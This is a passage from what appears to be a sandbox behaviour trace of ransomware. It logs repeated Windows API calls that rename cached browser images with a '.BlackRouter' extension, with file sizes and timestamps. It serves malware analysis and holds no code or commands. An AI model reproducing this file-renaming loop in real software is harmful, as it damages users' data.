Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg.blackrouter")) returned 1 [0062.820] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x924 [0062.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533a9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533a9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbf4a690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x930)) returned 1 [0062.825] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg.blackrouter")) returned 1 [0062.826] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1963 [0062.849] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbf96950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1970)) returned 1 [0062.849] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg.blackrouter")) returned 1 [0062.850] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x16d6 [0062.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53af3bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53af3bd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbfbcab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16e0)) returned 1 [0062.861] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg.blackrouter")) returned 1 [0062.862] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7ae [0062.875] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x515e8570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x515e8570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbfe2c10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7b0)) returned 1 [0062.876] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg.blackrouter")) returned 1 [0062.877] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x974 [0062.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53194530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53194530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc008d70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0062.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg.blackrouter")) returned 1 [0062.899] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1e67 [0062.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc02eed0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e70)) returned 1 [0062.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg.blackrouter")) returned 1 [0062.912] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xaa8 [0062.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530afcf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530afcf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc07b190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xab0)) returned 1 [0062.938] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg.blackrouter")) returned 1 [0062.940] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x97a [0062.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f59090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f59090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc07b190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0062.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg.blackrouter")) returned 1 [0062.948] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7d8 [0062.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5160e6d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5160e6d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc0a12f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7e0)) returned 1 [0062.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg.blackrouter")) returned 1 [0062.960] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x8d7 [0062.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538de890, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538de890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc0a12f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0062.964] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg.blackrouter")) returned 1 [0062.964] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x24be [0062.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6421e580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6421e580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc0ed5b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x24c0)) returned 1 [0062.987] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg.blackrouter")) returned 1 [0062.988] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x33a8 [0062.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6125cc20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6125cc20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc0ed5b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x33b0)) returned 1 [0062.993] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg.blackrouter")) returned 1 [0062.996] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x738 [0063.020] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53017770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53017770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc139870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0063.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg.blackrouter")) returned 1 [0063.022] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x17a5 [0063.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ff1610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ff1610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc139870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17b0)) returned 1 [0063.026] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg.blackrouter")) returned 1 [0063.027] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2720 [0063.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53089b90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53089b90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc15f9d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2730)) returned 1 [0063.043] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg.blackrouter")) returned 1 [0063.043] GetFileSize (in: hFile=0x15c, 